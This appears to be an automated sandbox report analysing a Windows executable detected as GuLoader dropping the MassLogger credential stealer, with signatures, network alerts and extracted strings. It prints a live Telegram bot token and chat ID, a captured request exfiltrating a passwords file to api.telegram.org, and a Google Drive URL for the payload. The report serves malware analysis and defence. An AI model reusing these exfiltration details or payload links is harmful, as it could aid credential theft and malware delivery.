Edit tour

Windows Analysis Report
ajRZflJ2ch.exe

Overview

General Information

Sample name:	ajRZflJ2ch.exe renamed because original name is a hash value
Original sample name:	1d703dda4c786c51432a22da942b92244544a00c1d81b937bd5e5424947804f8.exe
Analysis ID:	1588086
MD5:	c9775580271050109b3431a54f1880f0
SHA1:	85d69a1abf2b6c4ab9a4fa77c27c5f43e7302630
SHA256:	1d703dda4c786c51432a22da942b92244544a00c1d81b937bd5e5424947804f8
Tags:	exeGuLoaderuser-adrian__luca
Infos:

Detection

GuLoader, MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Disable Task Manager(disabletaskmgr)

Disables CMD prompt

Disables the Windows task manager (taskmgr)

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

ajRZflJ2ch.exe (PID: 2940 cmdline: "C:\Users\user\Desktop\ajRZflJ2ch.exe" MD5: C9775580271050109B3431A54F1880F0)

ajRZflJ2ch.exe (PID: 5060 cmdline: "C:\Users\user\Desktop\ajRZflJ2ch.exe" MD5: C9775580271050109B3431A54F1880F0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc", "Telegram Chatid": "7382809095"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2734129419.0000000036D6B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000005.00000002.2734129419.0000000036D6B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2734129419.0000000036D6B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2233521222.00000000059F7000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: ajRZflJ2ch.exe PID: 5060	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: ajRZflJ2ch.exe PID: 5060	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ajRZflJ2ch.exe PID: 5060	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 2 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:17:10.874170+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49877	149.154.167.220	443	TCP
2025-01-10T21:17:12.691079+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49893	149.154.167.220	443	TCP
2025-01-10T21:17:14.330984+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49906	149.154.167.220	443	TCP
2025-01-10T21:17:15.992211+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49918	149.154.167.220	443	TCP
2025-01-10T21:17:17.899459+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49930	149.154.167.220	443	TCP
2025-01-10T21:17:19.567198+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49946	149.154.167.220	443	TCP
2025-01-10T21:17:21.272538+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49958	149.154.167.220	443	TCP
2025-01-10T21:17:22.988453+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49971	149.154.167.220	443	TCP
2025-01-10T21:17:24.707595+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49983	149.154.167.220	443	TCP
2025-01-10T21:17:26.409909+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49996	149.154.167.220	443	TCP
2025-01-10T21:17:30.991256+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49998	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:17:01.773424+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49827	193.122.6.168	80	TCP
2025-01-10T21:17:09.914055+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49827	193.122.6.168	80	TCP
2025-01-10T21:17:11.789066+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49888	132.226.247.73	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:16:56.799124+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49795	142.250.184.206	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:17:10.539561+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49877	149.154.167.220	443	TCP
2025-01-10T21:17:12.347630+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49893	149.154.167.220	443	TCP
2025-01-10T21:17:14.000023+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49906	149.154.167.220	443	TCP
2025-01-10T21:17:15.637564+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49918	149.154.167.220	443	TCP
2025-01-10T21:17:17.310980+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49930	149.154.167.220	443	TCP
2025-01-10T21:17:19.197370+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49946	149.154.167.220	443	TCP
2025-01-10T21:17:20.887708+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49958	149.154.167.220	443	TCP
2025-01-10T21:17:22.602991+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49971	149.154.167.220	443	TCP
2025-01-10T21:17:24.335626+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49983	149.154.167.220	443	TCP
2025-01-10T21:17:26.018875+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49996	149.154.167.220	443	TCP
2025-01-10T21:17:30.627335+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49998	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3189d99afcd2Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036D6B000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036E80000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036E22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036C8F000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036E80000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036E22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036C8F000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036C84000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036D6B000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036E80000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036E22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036C11000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2735696215.000000003954D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: ajRZflJ2ch.exe, 00000005.00000002.2735696215.000000003954D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/U9
Source: ajRZflJ2ch.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036CA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036C11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036D6B000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036E80000.00000004.00000800.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036E22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036D6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036E22000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382
Source: ajRZflJ2ch.exe, 00000005.00000003.2404579364.00000000065DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: ajRZflJ2ch.exe, 00000005.00000002.2713839860.0000000006568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: ajRZflJ2ch.exe, 00000005.00000002.2713839860.0000000006568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/O
Source: ajRZflJ2ch.exe, 00000005.00000002.2713839860.00000000065A2000.00000004.00000020.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2733459678.0000000035D50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17zh6-Wlf0aT1vS8RBy4ZmVv4fH0VS4Vd
Source: ajRZflJ2ch.exe, 00000005.00000002.2713839860.00000000065A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=17zh6-Wlf0aT1vS8RBy4ZmVv4fH0VS4VdB
Source: ajRZflJ2ch.exe, 00000005.00000002.2713839860.00000000065D7000.00000004.00000020.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000003.2441082200.00000000065D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: ajRZflJ2ch.exe, 00000005.00000003.2404579364.00000000065DE000.00000004.00000020.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000003.2441082200.00000000065D7000.00000004.00000020.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2713839860.00000000065A2000.00000004.00000020.00020000.00000000.sdmp, ajRZflJ2ch.exe, 00000005.00000002.2713839860.00000000065C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=17zh6-Wlf0aT1vS8RBy4ZmVv4fH0VS4Vd&export=download
Source: ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036C8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036C8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: ajRZflJ2ch.exe, 00000005.00000002.2734129419.0000000036C8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: ajRZflJ2ch.exe, 00000005.00000003.2404579364.00000000065DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: ajRZflJ2ch.exe, 00000005.00000003.2404579364.00000000065DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: ajRZflJ2ch.exe, 00000005.00000003.2404579364.00000000065DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: ajRZflJ2ch.exe, 00000005.00000003.2404579364.00000000065DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: ajRZflJ2ch.exe, 00000005.00000003.2404579364.00000000065DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: ajRZflJ2ch.exe, 00000005.00000003.2404579364.00000000065DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: ajRZflJ2ch.exe, 00000005.00000003.2404579364.00000000065DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: ajRZflJ2ch.exe, 00000005.00000003.2404579364.00000000065DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801

Source: unknown	HTTPS traffic detected: 142.250.184.206:443 -> 192.168.2.8:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.193:443 -> 192.168.2.8:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49877 version: TLS 1.2

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

Code function: 0_2_0040558F GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,LdrInitializeThunk,SendMessageW,CreatePopupMenu,LdrInitializeThunk,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040558F

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 0_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004034A5
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		5_2_004034A5

Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 0_2_00404DCC	0_2_00404DCC
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 0_2_00406AF2	0_2_00406AF2
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 0_2_70131B5F	0_2_70131B5F
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_00404DCC	5_2_00404DCC
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_00406AF2	5_2_00406AF2
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_000D4328	5_2_000D4328
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_000D8DA0	5_2_000D8DA0
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_000D5F90	5_2_000D5F90
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_000D2DD1	5_2_000D2DD1
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_36AF7628	5_2_36AF7628
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_36AFC638	5_2_36AFC638
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_36AFCCA0	5_2_36AFCCA0
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_36AF03AF	5_2_36AF03AF
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_36AF331B	5_2_36AF331B
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_36AF6EA0	5_2_36AF6EA0
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_36AF6E91	5_2_36AF6E91
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_36AFDEE1	5_2_36AFDEE1
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_36AFE790	5_2_36AFE790
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_36AFCCA2	5_2_36AFCCA2
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_36AFB4EC	5_2_36AFB4EC
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_36AFBD9C	5_2_36AFBD9C
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_36AFDA89	5_2_36AFDA89
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_36AFEBF7	5_2_36AFEBF7
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_36AFEBF4	5_2_36AFEBF4
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_36AFE339	5_2_36AFE339
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_36AFE347	5_2_36AFE347
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_36AFB07F	5_2_36AFB07F
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_36AF7848	5_2_36AF7848
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_36AFF054	5_2_36AFF054
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_36AFC1F2	5_2_36AFC1F2
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_36AFB930	5_2_36AFB930
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A8A9B0	5_2_39A8A9B0
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A8A360	5_2_39A8A360
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A8BA88	5_2_39A8BA88
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A8BDF0	5_2_39A8BDF0
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A89D10	5_2_39A89D10
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A896C8	5_2_39A896C8
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A88650	5_2_39A88650
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A8A9A0	5_2_39A8A9A0
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A829B8	5_2_39A829B8
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A851F8	5_2_39A851F8
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A8F120	5_2_39A8F120
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A8F130	5_2_39A8F130
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A82108	5_2_39A82108
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A820F8	5_2_39A820F8
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A84820	5_2_39A84820
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A84810	5_2_39A84810
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A87061	5_2_39A87061
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A87070	5_2_39A87070
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A81848	5_2_39A81848
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A80040	5_2_39A80040
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A81858	5_2_39A81858
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A813F0	5_2_39A813F0
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A843C8	5_2_39A843C8
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A83B08	5_2_39A83B08
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A83B18	5_2_39A83B18
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A86368	5_2_39A86368
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A87B4F	5_2_39A87B4F
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A86358	5_2_39A86358
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A8A351	5_2_39A8A351
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A85AA8	5_2_39A85AA8
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A85AB8	5_2_39A85AB8
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A8BA97	5_2_39A8BA97
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A85208	5_2_39A85208
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A83268	5_2_39A83268
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A83258	5_2_39A83258
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A84DB0	5_2_39A84DB0
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A84DB2	5_2_39A84DB2
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A89D00	5_2_39A89D00
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A82560	5_2_39A82560
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A8255F	5_2_39A8255F
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A82550	5_2_39A82550
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A81CA0	5_2_39A81CA0
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A874B8	5_2_39A874B8
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A81CB0	5_2_39A81CB0
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A874C8	5_2_39A874C8
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A86C09	5_2_39A86C09
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A81400	5_2_39A81400
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A86C18	5_2_39A86C18
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A80FA8	5_2_39A80FA8
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A867B0	5_2_39A867B0
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A8AFE8	5_2_39A8AFE8
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A8AFF8	5_2_39A8AFF8
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A8AFF7	5_2_39A8AFF7
Source: C:\Users\user\Desktop\ajRZflJ2ch.exe	Code function: 5_2_39A867C0	5_2_39A867C0
